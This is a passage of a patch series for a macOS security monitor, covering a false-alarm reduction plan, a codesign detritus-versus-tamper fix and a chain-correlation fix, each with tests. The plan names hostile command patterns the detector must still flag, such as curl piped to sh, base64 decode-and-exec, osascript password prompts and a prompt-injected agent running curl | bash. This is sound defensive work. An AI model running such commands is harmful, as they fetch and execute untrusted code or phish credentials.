closed-noise interrupts carried no rung at all. The ladder exists; the interrupts never meet it. + +**2. Teaching evaporates.** A benign-positive verdict is keyed on `process::`. The operator's artifacts are +reborn under a new sha (every build), a new path (`bin.2.337.0`, a new worktree, a new App Translocation id) and so the +verdict covers nothing the operator meant. 72 verdicts, 109 re-fires in the same class. The two widest classes are the +operator's own LaunchAgents (60 re-fires) and the Zotero fork he builds (27). + +**3. There is no ground truth, so every fix is measured by silence.** The 1,900-test suite is synthetic and has never +found one of these defects; the live queue found all of them. The 233 labelled incidents and 3,747 recorded findings are +an unused corpus. "The queue got shorter" is also what broken detection looks like. + +Beneath these, one parser defect is worth naming on its own because it explains four of the five open incidents: +`_classify_mac` (aegis.py ~2696) turns *any* non-zero `codesign --verify --strict` into `broken`. The message on Zoom and +Zotero today is "resource fork, Finder information, or similar detritus not allowed" — Finder xattrs inside the bundle, +a valid Developer ID chain, an intact seal. A real tamper reads "code or signature have been modified" or "a sealed +resource is missing or invalid". `broken` is in `suspicious_sig`, so a valid signature became HIGH 36 times. + +## Done-condition and verification (fixed before any code) + +**Done** when, on this Mac, all four hold at the tip that ships: + +1. `aegis.py backtest replay --days 30` re-routes the recorded findings of every incident the operator closed as noise + and opens **0** interrupts from them. (Residual must be listed by incident id with a one-line reason each.) +2. The same command runs the 21 assay lanes and every attack fixture through the identical path and **all still + interrupt** — precision may never be bought with recall. +3. The full suite is green (`python3 -m pytest tests/ -q`, background, 10 min) and the simulated-Windows diff against the + merge base adds no failures (`PYTHONPATH=tests SIM_BODY=win python3 -m pytest tests/ -q -p simbody`, background). +4. After `aegis.py install watch` and one live scan cycle, the five open incidents are closed by the mechanism that + explains them (not by hand), and 48 hours of live operation open no new noise incident. + +**Pass cap**: six build-verify passes on Phase 2/3 combined. If the cap is hit, the residual is reported, not hidden. + +Fable runs every verification personally and reads the output; a builder's "tests pass" is a claim, not a result. + +## Phase 0 — the ground-truth harness (S0) + +`aegis.py backtest replay [--days N] [--reobserve]`: build an in-memory store, load the recorded findings (events with +`event_type='observation.finding'`, oldest first), run them through the live pipeline — `route_findings`, +`_apply_correlations`, `_accumulate_risk`, `_signal_decision` with the live tolerance memory — and print, per category: +would-interrupt count, and the ids of noise-labelled incidents that would re-open. With `--reobserve`, for every subject +still on disk, recompute `classify_signature` and the custody rung with the *current* code and patch them into the +finding before routing, so classifier and ladder fixes are scoreable, not only routing fixes. Then run the 21 assay lanes +and report recall. Rule 17: the command asserts its own counts against the store before printing them. + +Baseline is recorded on main before Phase 1 lands. Every later step is a diff against that number. + +## Phase 1 — the four defects that are wrong today (S1–S4, independent, parallel) + +- **S1 codesign parser.** Distinguish the verify failure classes. Detritus/xattr complaints with a valid authority chain + keep the chain's trust (developer-id / apple / app-store). "modified", "sealed resource missing or invalid", "invalid + signature" stay `broken`. Test against the real tool on this body (gate on `sys.platform == "darwin"` and the app + being present), plus a fixture for the CI legs. Memory: a fixture cannot test a parser. +- **S2 behavior wrapper.** The agent harness runs `bash -c "source ; eval ''"`. Strip the harness wrapper + and judge ``. A hostile `` (curl piped to sh, base64 decode+exec, osascript phish) still fires at full + severity; a `while … $(gh pr checks …)` loop does not. Not a blanket trust of agent hosts — a prompt-injected agent + running `curl | bash` is exactly what the sensor is for. +- **S3 chain legs.** `_entities` says an interpreter never joins, but `/bin/bash` was the *primary* entity of the + os-program-update finding, so an Apple OS update joined a harness eval into "persistence followed by execution". A + finding whose custody is in the self or vouched tier cannot be a chain leg; an interpreter cannot be the shared entity + from either side. +- **S4 listener identity.** A listener's identity is the program's content, not `(program, port)`; ports are evidence on + one case. Spotify's per-launch port must not be a new signal each time. Ephemeral-range ports already fold to + `#ephemeral`; the fixed port and the helper binary still minted separate signals that fed risk accumulation. + +## Phase 2 — provenance becomes a gate (S5) + +One decision, consulted before interrupt, for every sensor that names a binary: + +- **Reach**: wire `publisher-stable` so a Developer ID or App Store signature with a valid chain earns it on *first* + sight, not only on re-sign-in-place (the docstring at ~2742 already records it was structurally unreachable). Wire + `_grade_binary` into the emitters that still pass nothing (behavior, agent-surface where the subject is a binary). +- **Gate**: in `route_findings`, a finding below CRITICAL that is not attack-defined and whose custody is in + `_SELF_CUSTODY` or `_VOUCHED_CUSTODY` routes to digest, never interrupt. Weak rungs (`build-output`, `supervised`, + `copy-of-graded`) still demote one step, as today. The risk tier already weights these 0 and 0.25. +- **Invariant kept**: attack-defined evidence keeps its severity under perfect custody. A vouched binary running an + osascript password prompt is still CRITICAL. Origin is not innocence; this gate only removes *attribute-only* + findings on binaries whose origin is proven. + +## Phase 3 — verdicts teach at class width (S6, S7) + +- **S6 class tolerance.** `_signal_decision` already tries three candidates per finding (identity, endpoint class, + producer class). Add the classes the ladder can *verify*: signer team id (`8LAYR367YV` is Zotero wherever it runs), + package receipt, build-output repo, supervisor (vouched parent). A benign-positive on a finding that carries a class + records tolerance for the class. Threshold 1 for cryptographically anchored classes (team id, package receipt), 3 for + content-derived ones (build-output, supervisor). `incident benign-positive` prints what it learned: + `Learned: anything signed by team 8LAYR367YV (Zotero) — wherever it runs`. `families` shows the class it will teach. + Read PR #51 first (tolerance-follows-bytes); absorb or supersede, never duplicate. +- **S7 own LaunchAgents.** Use the harness to run `_custody_persistence` over the 60 re-fires and find why the + self-committed rung never reached a `com.charlie.*` plist whose payload is in the operator's repo. Fix what the + numbers show, not what the docstring says. + +## Phase 4 — the loop stays closed (S8) + +`aegis.py report` and the weekly digest print three lines from the harness: precision on the trailing 30 days, assay +recall, and teaching evaporation (incidents opened in an already-judged class). A rise in the third, or a drop in the +second, opens an incident against `self-protection`. The number the operator sees is the number the loop is judged on. + +## Ownership and mechanics + +- Each step: one builder, own worktree (`AIKIT_AGENT=precision-sN uv run ~/Ai/Universe/tools/aikit/worktree.py enter`), + tests first where the I/O is testable, one PR. Builder reports actual command output, never "should work". +- Fable verifies each PR: harness diff against baseline, suite, simbody, then a live scan on this Mac after install. +- Parked for the human: PRs #49 and #50 (Codex, 2026-09-20) overlap Phase 2/3 in intent; they are not merged or + rebased by this plan. Their fate is the operator's call after Phase 1 lands. + +## Assumptions stated + +- The `events` table holds enough of each finding (`path`, `trust`, `sha`, `custody`, `ancestry`, `argv preview`) to + re-route it. Checked on the five open incidents; S0 asserts it over the corpus and reports any field it lacks. +- The Zoom and Zotero detritus complaint is Finder xattrs, not a modified bundle. Both binaries print a TeamIdentifier + and a full Developer ID chain today. S1 verifies with `codesign --verify` (no `--strict`) as the discriminator. +- Spotify's `unsigned` run was the non-answer-as-verdict defect PR #52 fixed; no `unsigned` event since the 08:09 + restart today. S0's `--reobserve` will confirm rather than assume. From 26426a67720f204b2c1b0c2097e28e54b488e1bd Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Wed, 23 Sep 2026 08:56:16 -0700 Subject: [PATCH 03/27] Zoom and Zotero read `broken` because codesign --strict also refuses Finder attributes, and the seal was intact `_classify_mac` filed every non-zero `codesign --verify --strict` that did not say "not signed" as `broken`, which is in suspicious_sig() and gates the process, listener and beacon sensors at HIGH. On this Mac, 2026-09-23, Zoom (BJ4HAAB9B3) and Zotero (8LAYR367YV) both fail --strict with resource fork, Finder information, or similar detritus not allowed and pass the plain verify: full Developer ID chains, intact seals, Finder xattrs inside the bundle. 36 HIGH interrupts in 30 days came from that. A strict failure that names detritus (_STRICT_DETRITUS_MARKERS) is now asked once more without --strict, and the plain verify decides: - passes -> the chain's trust stands; the verdict records `strict: detritus` - fails with a reason -> `broken`, as before - times out, or fails silently -> the PR #52 non-answer: `unknown`, probe_failed, counted, never cached Every other strict failure ("code or signature have been modified", "a sealed resource is missing or invalid") is `broken` exactly as before and is not re-asked. The text only picks which failures earn the second probe; the plain verify is the verdict, so Finder info added to a modified binary cannot launder it (live test: a byte-flipped copy of /bin/ls with FinderInfo stays `broken`). _SIGCACHE_LOGIC_VERSION 3 -> 4, so the cached `broken` on those two binaries is re-probed on the next scan instead of served until their next update. test_false_alarm_batch_20260922's version pin becomes >= 3 so the bump does not break its guarantee. No new exit: _close_reverified_incidents already closes an OPEN signal incident gated on an untrusted verdict once the same path re-classifies as a publisher at a non-risky location. The live Zoom/Zotero incidents were `outbound` beacons on /Applications paths (all already closed); the new tests drive that shape through the real parser into the exit, and pin that a real tamper stays OPEN and that the scan that opens an incident cannot close it. tests/test_codesign_detritus.py: mocked-codesign parser tests (every body), the exit through record_security_state (mac vocabulary), and live tests on a real Mac built from /bin/ls copies plus Zoom/Zotero where installed. Co-Authored-By: Claude Fable 5.1 --- aegis.py | 44 ++- tests/test_codesign_detritus.py | 404 +++++++++++++++++++++++ tests/test_false_alarm_batch_20260922.py | 5 +- 3 files changed, 449 insertions(+), 4 deletions(-) create mode 100644 tests/test_codesign_detritus.py diff --git a/aegis.py b/aegis.py index d82a8a2..10a3de5 100755 --- a/aegis.py +++ b/aegis.py @@ -2243,7 +2243,11 @@ def _sig_stat(path): # alone carried the verdict; Obsidian's `broken` (#526) came out of the # same scan. Any v2 entry may be one of those, so every one re-probes # once. -_SIGCACHE_LOGIC_VERSION = 3 +# 4 strict-only detritus: a `--strict` refusal of Finder attributes was +# cached as `broken` although the seal verified (_STRICT_DETRITUS_MARKERS). +# Live, 2026-09-23: Zoom and Zotero, both Developer ID. Any v3 `broken` +# may be one of those, so every v3 entry re-probes once. +_SIGCACHE_LOGIC_VERSION = 4 def classify_signature(path): @@ -2628,6 +2632,27 @@ def _is_apple_os_signing(leaf, authorities): return _APPLE_OS_SIGNING_CA in (authorities or ()) +# `codesign --verify --strict` refuses more than a broken seal. It also refuses +# Finder extended attributes left inside a bundle, with +# +# resource fork, Finder information, or similar detritus not allowed +# +# and the plain verify, which checks the same seal, passes. Every non-zero +# strict exit used to be filed `broken`, which is in suspicious_sig(). Live, +# 2026-09-23: Zoom and Zotero, full Developer ID chains and intact seals, read +# `broken` and raised 36 HIGH interrupts in 30 days. A real tamper reads +# "invalid signature (code or signature have been modified)" or "a sealed +# resource is missing or invalid" and fails without --strict too. +# +# So a strict failure that names detritus is asked once more without --strict, +# and the plain verify decides: it passes -> the chain's trust stands and the +# verdict records `strict: detritus`; it fails with a reason -> `broken`. The +# text gate only limits the second probe to the one class known to be benign; +# it is never the verdict, so detritus added to a modified binary cannot +# launder it. Every other strict failure is `broken` exactly as before. +_STRICT_DETRITUS_MARKERS = ("detritus", "resource fork", "finder information") + + def _classify_mac(path): global _SIG_PROBE_FAILURES out, err, rc = run(["codesign", "-dv", "--verbose=4", path], timeout=12) @@ -2696,7 +2721,22 @@ def _classify_mac(path): result["trust"] = "unknown" result["probe_failed"] = True elif vrc != 0 and "not signed" not in (verr or "").lower(): - result["trust"] = "broken" + if not any(m in (verr or "").lower() + for m in _STRICT_DETRITUS_MARKERS): + result["trust"] = "broken" + else: + # The plain verify's non-answer is the strict one's: a timeout, + # or a failing exit that says nothing, is not a verdict. + _, perr, prc = run(["codesign", "--verify", path], timeout=20) + if (_probe_timed_out(perr, prc) + or (prc != 0 and not (perr or "").strip())): + _SIG_PROBE_FAILURES += 1 + result["trust"] = "unknown" + result["probe_failed"] = True + elif prc == 0: + result["strict"] = "detritus" + else: + result["trust"] = "broken" return result diff --git a/tests/test_codesign_detritus.py b/tests/test_codesign_detritus.py new file mode 100644 index 0000000..a26af80 --- /dev/null +++ b/tests/test_codesign_detritus.py @@ -0,0 +1,404 @@ +#!/usr/bin/env python3 +"""A strict-only complaint about Finder detritus is not a broken signature. + +`_classify_mac` runs `codesign --verify --strict` after reading the chain, and +filed EVERY non-zero exit that did not say "not signed" as `broken`. `broken` +is in suspicious_sig(), so it gates the process, listener and beacon sensors +at HIGH. Measured on the reference Mac, 2026-09-23: + + /Applications/zoom.us.app/Contents/MacOS/zoom.us + /Applications/Zotero.app/Contents/MacOS/zotero + --strict: resource fork, Finder information, or similar detritus not + allowed (exit 1) + plain: (silent) (exit 0) + +Both carry a full Developer ID chain and an intact seal. The complaint is +Finder extended attributes inside the bundle, which only --strict refuses. +It produced 36 HIGH interrupts in 30 days. A real tamper reads differently +and fails WITHOUT --strict too: "invalid signature (code or signature have +been modified)", "a sealed resource is missing or invalid". + +So the discriminator is the tool's own: when --strict fails with a detritus +complaint, ask again without --strict. The seal holds -> the chain's trust +stands and the verdict records `strict: detritus`. The seal fails -> `broken`, +as before. A second probe that does not answer is the same non-answer PR #52 +made of the first one: `unknown`, probe_failed, never cached. + +The parser tests mock `run`, so they run on every body. The live tests are the +ones that matter -- a fixture cannot test a parser -- and they build their +subjects from /bin/ls on the real Mac, so they do not depend on which apps +happen to be installed; the Zoom/Zotero checks run where those apps exist. +""" +import os +import shutil +import struct +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from conftest import aegis # noqa: E402 +from test_regression import Sandbox # noqa: E402 + +# `codesign -dv --verbose=4` on a Developer ID binary: detail on STDERR, exit +# 0. Field names and order are the real ones; the identity is an example. +DEV_ID_DV = ( + "Executable=/Applications/Example.app/Contents/MacOS/Example\n" + "Identifier=com.example.app\n" + "Format=app bundle with Mach-O universal (x86_64 arm64)\n" + "CodeDirectory v=20500 size=1234 flags=0x10000(runtime) hashes=27+7 " + "location=embedded\n" + "Authority=Developer ID Application: Example Ltd (ABCDE12345)\n" + "Authority=Developer ID Certification Authority\n" + "Authority=Apple Root CA\n" + "TeamIdentifier=ABCDE12345\n") + +# The verify failures, verbatim from codesign on this Mac (path prefix +# included, exactly as codesign prints it). +DETRITUS = ("%s: resource fork, Finder information, or similar detritus " + "not allowed\n") +MODIFIED = ("%s: invalid signature (code or signature have been modified)\n" + "In architecture: x86_64\n") +SEALED = "%s: a sealed resource is missing or invalid\n" + +TIMED_OUT = ("", "timeout", 124) # exactly what run() returns on a timeout +CLEAN_VERIFY = ("", "", 0) # a passing verify prints NOTHING + +# Gated on BOTH, as test_signature_corpus is: CI runs a Linux leg with +# aegis.IS_MAC forced on, and that leg has no codesign to be right about. +REAL_MAC = sys.platform == "darwin" and aegis.IS_MAC + +ZOOM = "/Applications/zoom.us.app/Contents/MacOS/zoom.us" +ZOTERO = "/Applications/Zotero.app/Contents/MacOS/zotero" + +# A Finder-info blob with one flag set: the shape Finder itself writes, and +# the attribute codesign --strict names as detritus. +FINDER_INFO_HEX = "00000000000000000004" + "00" * 22 + + +def _mac_codesign(test, dv, strict=CLEAN_VERIFY, plain=CLEAN_VERIFY): + """Answer the codesign calls _classify_mac makes, telling the strict verify + from the plain one. Anything else goes to the real run() -- a store-level + test reaches other probes that are not under test here.""" + calls = [] + real = test._saved["run"] + + def fake(cmd, timeout=15, extra_env=None, stdin_data=None): + cmd = list(cmd) + if cmd[:2] == ["codesign", "-dv"]: + calls.append("dv") + return dv + if cmd[:2] == ["codesign", "--verify"]: + if "--strict" in cmd: + calls.append("strict") + return strict + calls.append("plain") + return plain + return real(cmd, timeout=timeout, extra_env=extra_env, + stdin_data=stdin_data) + aegis.run = fake + return calls + + +class StrictDetritusIsNotTamper(Sandbox): + """The parser's reading of the two verify answers, on every body.""" + + def setUp(self): + super().setUp() + # Sandbox.tearDown restores everything in _saved. + self._saved["run"] = aegis.run + self._saved["_SIG_PROBE_FAILURES"] = aegis._SIG_PROBE_FAILURES + aegis._SIG_PROBE_FAILURES = 0 + self.path = os.path.join(self.tmp, "Example") + with open(self.path, "wb") as fh: + fh.write(b"\xcf\xfa\xed\xfe fixture bytes") + + def _strict(self, template, rc=1): + return ("", template % self.path, rc) + + def test_detritus_with_an_intact_seal_keeps_the_chain_trust(self): + calls = _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=self._strict(DETRITUS)) + result = aegis._classify_mac(self.path) + # BEFORE: {"trust": "broken"} -- a non-zero strict verify that did not + # say "not signed". Live: Zoom and Zotero, 36 HIGH interrupts. + self.assertEqual("developer-id", result["trust"], result) + self.assertEqual("ABCDE12345", result["team"]) + self.assertEqual("detritus", result.get("strict"), + "the strict complaint must stay on the record") + self.assertNotIn("probe_failed", result) + self.assertEqual(0, aegis._SIG_PROBE_FAILURES) + self.assertEqual(["dv", "strict", "plain"], calls) + + def test_a_modified_signature_is_still_broken(self): + _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=self._strict(MODIFIED), + plain=self._strict(MODIFIED)) + result = aegis._classify_mac(self.path) + self.assertEqual("broken", result["trust"]) + self.assertNotIn("strict", result) + self.assertNotIn("probe_failed", result) + + def test_detritus_over_a_broken_seal_is_still_broken(self): + """Detritus cannot launder a tamper: the plain verify is the one that + decides, and here it fails with a reason.""" + _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=self._strict(DETRITUS), + plain=self._strict(SEALED)) + result = aegis._classify_mac(self.path) + self.assertEqual("broken", result["trust"]) + self.assertNotIn("strict", result) + self.assertNotIn("probe_failed", result) + self.assertEqual(0, aegis._SIG_PROBE_FAILURES) + + def test_only_detritus_earns_a_second_probe(self): + """Every other strict failure is `broken` exactly as before, and is + not re-asked -- even if a plain verify would have passed.""" + for template in (SEALED, MODIFIED): + with self.subTest(template=template): + calls = _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=self._strict(template), + plain=CLEAN_VERIFY) + result = aegis._classify_mac(self.path) + self.assertEqual("broken", result["trust"]) + self.assertNotIn("plain", calls) + + def test_a_timed_out_second_probe_is_a_non_answer(self): + _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=self._strict(DETRITUS), plain=TIMED_OUT) + result = aegis._classify_mac(self.path) + self.assertEqual("unknown", result["trust"]) + self.assertIs(True, result.get("probe_failed"), result) + self.assertEqual(1, aegis._SIG_PROBE_FAILURES) + + def test_a_silent_second_probe_failure_is_a_non_answer(self): + _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=self._strict(DETRITUS), plain=("", "", 1)) + result = aegis._classify_mac(self.path) + self.assertEqual("unknown", result["trust"]) + self.assertIs(True, result.get("probe_failed"), result) + self.assertEqual(1, aegis._SIG_PROBE_FAILURES) + + def test_a_timed_out_strict_verify_is_unchanged(self): + """PR #52's non-answer, untouched: nothing to re-ask when the first + verify said nothing.""" + calls = _mac_codesign(self, ("", DEV_ID_DV, 0), strict=TIMED_OUT) + result = aegis._classify_mac(self.path) + self.assertEqual("unknown", result["trust"]) + self.assertIs(True, result.get("probe_failed"), result) + self.assertEqual(1, aegis._SIG_PROBE_FAILURES) + self.assertEqual(["dv", "strict"], calls) + + def test_a_timed_out_dv_probe_is_unchanged(self): + calls = _mac_codesign(self, TIMED_OUT) + result = aegis._classify_mac(self.path) + self.assertEqual("unknown", result["trust"]) + self.assertIs(True, result.get("probe_failed"), result) + self.assertEqual(["dv"], calls) + + # ---- the cache ----------------------------------------------------------- + + def _classify_as_mac(self): + """classify_signature with this body's dispatch routed through the REAL + mac classifier; everything behind it runs against the mocked codesign. + On Windows the Sandbox pins classify_signature itself to a stub.""" + name = ("_classify_linux" if aegis.IS_LINUX else + "_classify_windows" if aegis.IS_WIN else "_classify_mac") + if name != "_classify_mac": + self._saved[name] = getattr(aegis, name) + setattr(aegis, name, aegis._classify_mac) + return self._saved.get("classify_signature", aegis.classify_signature) + + def test_a_cached_broken_from_older_logic_is_re_probed(self): + """The fix changes no file on disk, so without a logic bump the live + cache would keep serving Zoom's `broken` for as long as its stat holds + -- until Zoom's next update.""" + classify = self._classify_as_mac() + aegis._sigcache[self.path] = { + "stat": aegis._sig_stat(self.path), + "result": {"trust": "broken", "team": "ABCDE12345", + "authority": "Developer ID Application: Example Ltd " + "(ABCDE12345)"}, + "v": aegis._SIGCACHE_LOGIC_VERSION - 1} + _mac_codesign(self, ("", DEV_ID_DV, 0), strict=self._strict(DETRITUS)) + self.assertEqual("developer-id", classify(self.path)["trust"]) + entry = aegis._sigcache[self.path] + self.assertEqual(aegis._SIGCACHE_LOGIC_VERSION, entry["v"]) + self.assertEqual("developer-id", entry["result"]["trust"]) + self.assertEqual("detritus", entry["result"].get("strict")) + + def test_logic_version_is_bumped(self): + self.assertGreaterEqual(aegis._SIGCACHE_LOGIC_VERSION, 4) + + +# --------------------------------------------------------------------------- # +# The exit: incidents the misread opened close when the verdict is re-asked. +# --------------------------------------------------------------------------- # +T0 = 1_700_000_000 +REMOTE = "203.0.113.7" # TEST-NET-3: an address that routes nowhere + + +def _health(sensor, status="OK"): + return [{"sensor_id": sensor, "status": status, "detail": "", + "duration_ms": 0, "item_count": 0}] + + +# Gated on the FLAG, not the kernel: nothing here touches codesign or the +# filesystem's trust (run and is_risky_location are replaced), but the verdict +# the mac classifier produces is mac vocabulary -- `developer-id` is a +# publisher only on a body whose flags say mac. The body-neutral half of this +# exit is test_false_alarm_batch_20260922.A2AFlippedVerdictClosesItsIncident. +@unittest.skipUnless(aegis.IS_MAC and not aegis.IS_WIN and not aegis.IS_LINUX, + "mac trust vocabulary only") +class DetritusVerdictReachesTheReverifyExit(Sandbox): + """The live incidents were `outbound` beacons on /Applications paths, + gated on `broken`. With the parser fixed the sensor stops emitting, and + _close_reverified_incidents is what closes what the misread opened.""" + + def setUp(self): + super().setUp() + self._saved["run"] = aegis.run + self._saved["_SIG_PROBE_FAILURES"] = aegis._SIG_PROBE_FAILURES + self._saved.setdefault("is_risky_location", aegis.is_risky_location) + # An /Applications path is not risky; the sandbox's tmp dir may be. + aegis.is_risky_location = lambda path: False + self.path = os.path.join(self.tmp, "zoom.us") + with open(self.path, "wb") as fh: + fh.write(b"\xcf\xfa\xed\xfe fixture bytes") + + def _beacon(self): + key = "beacon:%s:%s:443" % (self.path, REMOTE) + return aegis.finding( + "HIGH", "net-beacon", + "Persistent outbound connection (beacon shape)", + "%s [broken] has held a connection to %s:443" % (self.path, REMOTE), + key, case_fingerprint=key, path=self.path, program=self.path, + remote=REMOTE, port="443", trust="broken", sensor_id="outbound") + + def _row(self, f): + db = aegis._event_connection() + try: + r = db.execute("SELECT * FROM incidents WHERE correlation_key=?", + ("signal:" + f["case_fingerprint"],)).fetchone() + return dict(r) if r else None + finally: + db.close() + + def _open(self, f): + aegis.record_security_state([f], sensor_health=_health("outbound"), + now=T0) + self.assertEqual("OPEN", self._row(f)["status"], "fixture did not open") + + def _rescan(self): + aegis.record_security_state([], sensor_health=_health("outbound"), + now=T0 + 600) + + def test_a_detritus_misread_closes_as_re_verified(self): + f = self._beacon() + self._open(f) + _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=("", DETRITUS % self.path, 1)) + self._rescan() + row = self._row(f) + self.assertEqual("FALSE_POSITIVE", row["status"]) + self.assertIn("re-verified", row["resolution"] or "") + self.assertIn("developer-id", row["resolution"] or "") + + def test_a_real_tamper_stays_open(self): + f = self._beacon() + self._open(f) + _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=("", MODIFIED % self.path, 1), + plain=("", MODIFIED % self.path, 1)) + self._rescan() + self.assertEqual("OPEN", self._row(f)["status"]) + + def test_the_scan_that_opens_it_does_not_close_it(self): + """The exit runs inside record_security_state: an incident opened in + this very call is asserted this scan and is never its to judge, even + with the classifier already answering a publisher.""" + _mac_codesign(self, ("", DEV_ID_DV, 0), + strict=("", DETRITUS % self.path, 1)) + f = self._beacon() + self._open(f) + self.assertEqual("OPEN", self._row(f)["status"]) + + +# --------------------------------------------------------------------------- # +# The real tool on the real body. +# --------------------------------------------------------------------------- # +def _codesign_verify(path, strict): + cmd = ["codesign", "--verify"] + (["--strict"] if strict else []) + [path] + p = subprocess.run(cmd, capture_output=True, text=True) + return p.returncode, (p.stdout or "") + (p.stderr or "") + + +def _add_finder_info(path): + subprocess.run(["xattr", "-wx", "com.apple.FinderInfo", FINDER_INFO_HEX, + path], check=True, capture_output=True) + + +def _flip_a_signed_byte(path): + """Flip one byte a quarter of the way into the first Mach-O slice: inside + the code the signature's page hashes cover, well before the signature.""" + with open(path, "rb") as fh: + data = bytearray(fh.read()) + if struct.unpack(">I", bytes(data[:4]))[0] == 0xCAFEBABE: # fat header + offset, size = struct.unpack(">II", bytes(data[16:24])) + else: + offset, size = 0, len(data) + data[offset + size // 4] ^= 0xFF + with open(path, "wb") as fh: + fh.write(data) + + +@unittest.skipUnless(REAL_MAC, "classifies real codesign output; macOS only") +class LiveCodesignDetritus(Sandbox): + """What codesign actually prints, on this Mac, for both classes.""" + + def _copy_of_ls(self, name): + # Bytes and mode only: copy2's copystat is refused on a system file's + # flags, and the signature is embedded in the bytes anyway. + path = os.path.join(self.tmp, name) + shutil.copyfile("/bin/ls", path) + os.chmod(path, 0o755) + return path + + def test_finder_info_on_a_platform_binary_keeps_apple(self): + path = self._copy_of_ls("ls-detritus") + _add_finder_info(path) + rc, text = _codesign_verify(path, strict=True) + self.assertNotEqual(0, rc, "fixture: --strict did not refuse it") + self.assertIn("detritus", text, "fixture: not the detritus class") + self.assertEqual(0, _codesign_verify(path, strict=False)[0], + "fixture: the plain verify should pass") + result = aegis._classify_mac(path) + self.assertEqual("apple", result["trust"], result) + self.assertEqual("detritus", result.get("strict")) + + def test_a_modified_platform_binary_is_still_broken(self): + """The adversarial case: bytes changed AND Finder info added, as if to + steer the verdict into the lenient path.""" + path = self._copy_of_ls("ls-modified") + _flip_a_signed_byte(path) + _add_finder_info(path) + rc, text = _codesign_verify(path, strict=False) + self.assertNotEqual(0, rc, "fixture: the tamper did not land in " + "signed code: %s" % text) + result = aegis._classify_mac(path) + self.assertEqual("broken", result["trust"], result) + self.assertNotIn("strict", result) + + def test_the_apps_that_raised_the_alarms_classify_developer_id(self): + present = [p for p in (ZOOM, ZOTERO) if os.path.exists(p)] + if not present: + self.skipTest("neither Zoom nor Zotero is installed here") + for path in present: + with self.subTest(path=path): + self.assertEqual("developer-id", + aegis.classify_signature(path)["trust"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_false_alarm_batch_20260922.py b/tests/test_false_alarm_batch_20260922.py index 6eadb02..c919d5a 100644 --- a/tests/test_false_alarm_batch_20260922.py +++ b/tests/test_false_alarm_batch_20260922.py @@ -447,8 +447,9 @@ def replace_it(): def test_logic_version_is_bumped(self): """Every v2 verdict could be a silence that became `unsigned` or - `broken`; the bump is what makes the fix reach a running install.""" - self.assertEqual(3, aegis._SIGCACHE_LOGIC_VERSION) + `broken`; the bump is what makes the fix reach a running install. + At least 3: a later bump keeps this one's guarantee.""" + self.assertGreaterEqual(aegis._SIGCACHE_LOGIC_VERSION, 3) # The binary under custody here is the git the rung itself runs. From 3a42e0f4732eb847f8230b83092c469d1dc3da4a Mon Sep 17 00:00:00 2001 From: "C.D.Lee" <265386841+opencdlee-dotcom@users.noreply.github.com> Date: Wed, 23 Sep 2026 09:06:16 -0700 Subject: [PATCH 04/27] A chain joined an OS update to a harness command on /bin/bash, the one join the correlator said it never made Live incident #538 (MEDIUM, "Persistence followed by execution", keyed on the hash of /bin/bash) was two facts the graders had already explained: left "OS program referenced by persistence items was updated" -- macOS replaced /bin/bash on the sealed system volume; custody os-vendor, LOW. Keyed on the program, so its PRIMARY entity is /bin/bash. right a behavior finding on a command the agent harness ran through /bin/bash. Primary entity: /bin/bash. _entities() says a chain never joins on a shared interpreter and names /bin/bash as the sharpest case, but the exclusion only covered the secondary identities. The primary was returned unconditionally, and here it was the interpreter on both sides. #511 and #517 (chain:clickfix) were the same hash. Rule 1 -- an interpreter is never the shared entity of a chain. _join_entities(f) is _entities(f) minus every basename in _INTERPRETERS, and _shared_entity() joins on it from both sides, so all five correlate() rules inherit it. The value is still returned as the finding reported it. _entity() and _entities() are unchanged: display, dedup, incident identity and path lineage read them, and none of those is a co-occurrence join. Rule 2 -- a provenance-explained finding cannot TRIGGER a chain. _custody_explained(f): custody/provenance in _SELF_CUSTODY or _VOUCHED_CUSTODY, and never when attack_defined. _apply_correlations builds chain_triggers = new_ids minus explained findings and correlate() fires only when a leg is in it. Same shape as tolerated/allowlisted events: an explained finding stays in `observations`, so it can still be the other leg of a chain an unexplained finding triggers. A separate set rather than a narrower new_ids, because _accumulate_risk reads new_ids and already weights these rungs itself. _chain_severity needs no change. Rule 2 does not make the cap moot (an explained LOW leg can still be the other leg), but the function already holds it: below HIGH on both legs a co-occurrence chain is one step above its weaker leg, so an explained LOW leg yields at most MEDIUM; only attack-defined evidence reaches CRITICAL, by design. Pinned by a test. The exit -- store migration chain_legs_20260923. _retire_unjoinable_chain_incidents closes OPEN/ACK chain incidents (not chain:lineage, created_at < now) the current rules would not form, judged on their own evidence: the joined entity is recovered by hashing each leg's identities as correlate() does; an interpreter there closes it ("superseded: a chain cannot join on an interpreter (/bin/bash) -- reopens on new evidence"); otherwise it closes only when every leg holding the entity is explained. FALSE_POSITIVE with evidence intact, no dismissals row, like the other identity migrations. Dry-run on a copy of the live store: closes #538 and nothing else. tests/test_chain_interpreter_legs.py: the #538 pair (same scan and across scans), #517's clickfix shape, every interpreter, the payload behind an interpreter still joining, the ordinary unexplained chain still CRITICAL, explained legs of every self/vouched rung not chaining, an attack-defined leg and an unexplained leg still triggering against an explained other leg, weak rungs still triggering, the severity cap, and the migration (retires interpreter and all-explained chains, leaves payload/mixed/attack chains and this scan's own chain, registered once, stamped by record_security_state). Co-Authored-By: Claude Opus 5.5 (1M context) --- aegis.py | 145 +++++++++- tests/test_chain_interpreter_legs.py | 402 +++++++++++++++++++++++++++ 2 files changed, 543 insertions(+), 4 deletions(-) create mode 100644 tests/test_chain_interpreter_legs.py diff --git a/aegis.py b/aegis.py index d82a8a2..4ace020 100755 --- a/aegis.py +++ b/aegis.py @@ -3547,12 +3547,37 @@ def _canon_entity_key(value): if os.path.isabs(value) else value +def _is_shared_interpreter(value): + """True when an entity names an interpreter (`/bin/bash`, `python3`, ...): + a program half the machine runs, so two findings that both name it share + nothing but the shell.""" + return 